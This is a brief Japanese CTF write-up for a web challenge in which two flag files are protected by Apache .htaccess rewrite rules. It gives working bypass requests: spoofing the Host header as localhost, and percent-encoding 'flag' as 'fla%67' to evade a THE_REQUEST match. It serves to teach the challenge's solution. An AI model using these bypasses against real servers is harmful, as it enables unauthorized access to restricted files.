Rating:
`/one/flag.txt`と、`/two/flag.txt`にそれぞれ.htaccessファイルを使ったアクセス制限がかかっているのでbypassせよという問題。
## one
.htaccessは以下。
```
RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]
```
書き換えの条件として、HTTPリクエストのHostヘッダーがlocalhostでないという条件になっている。
普通にアクセスすると以下のような感じ。
```
GET /one/flag.txt HTTP/1.1
Host: htaccess.uctf.ir
Connection: close
```
これでは条件に合致して書き換えられるので、Hostヘッダーを変更して送るとフラグがもらえる。
```
GET /one/flag.txt HTTP/1.1
Host: localhost
Connection: close
```
## two
.htaccessは以下。
```
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]
```
自分のCTFメモ帳にこの状況に完全に合致する記載があった。
```
- `RewriteCond %{THE_REQUEST} flag`みたいにTHE_REQUESTで制限がある場合はパーセントエンコーディングでbypass可能
- `%{THE_REQUEST}`は`GET /two/fla%67.txt HTTP/1.1`みたいに1行目をそのまま持ってきているので、パーセントエンコーディングしてあれば引っかからない。だが、使われるときはパーセントエンコーディングが解かれているので、gを%67に変換してやるみたいなことをするだけでいい
```
ん?と一瞬思ったが、まあ、とりあえず気にしないことにして、このメモにあるように、パーセントエンコーディングして出すと後半がもらえる。
```
GET /two/fla%67.txt HTTP/1.1
Host: htaccess.uctf.ir
```
過去問題の流用だった。過去に解説書いていた
https://blog.hamayanhamayan.com/entry/2022/09/25/232936#web-helicoptering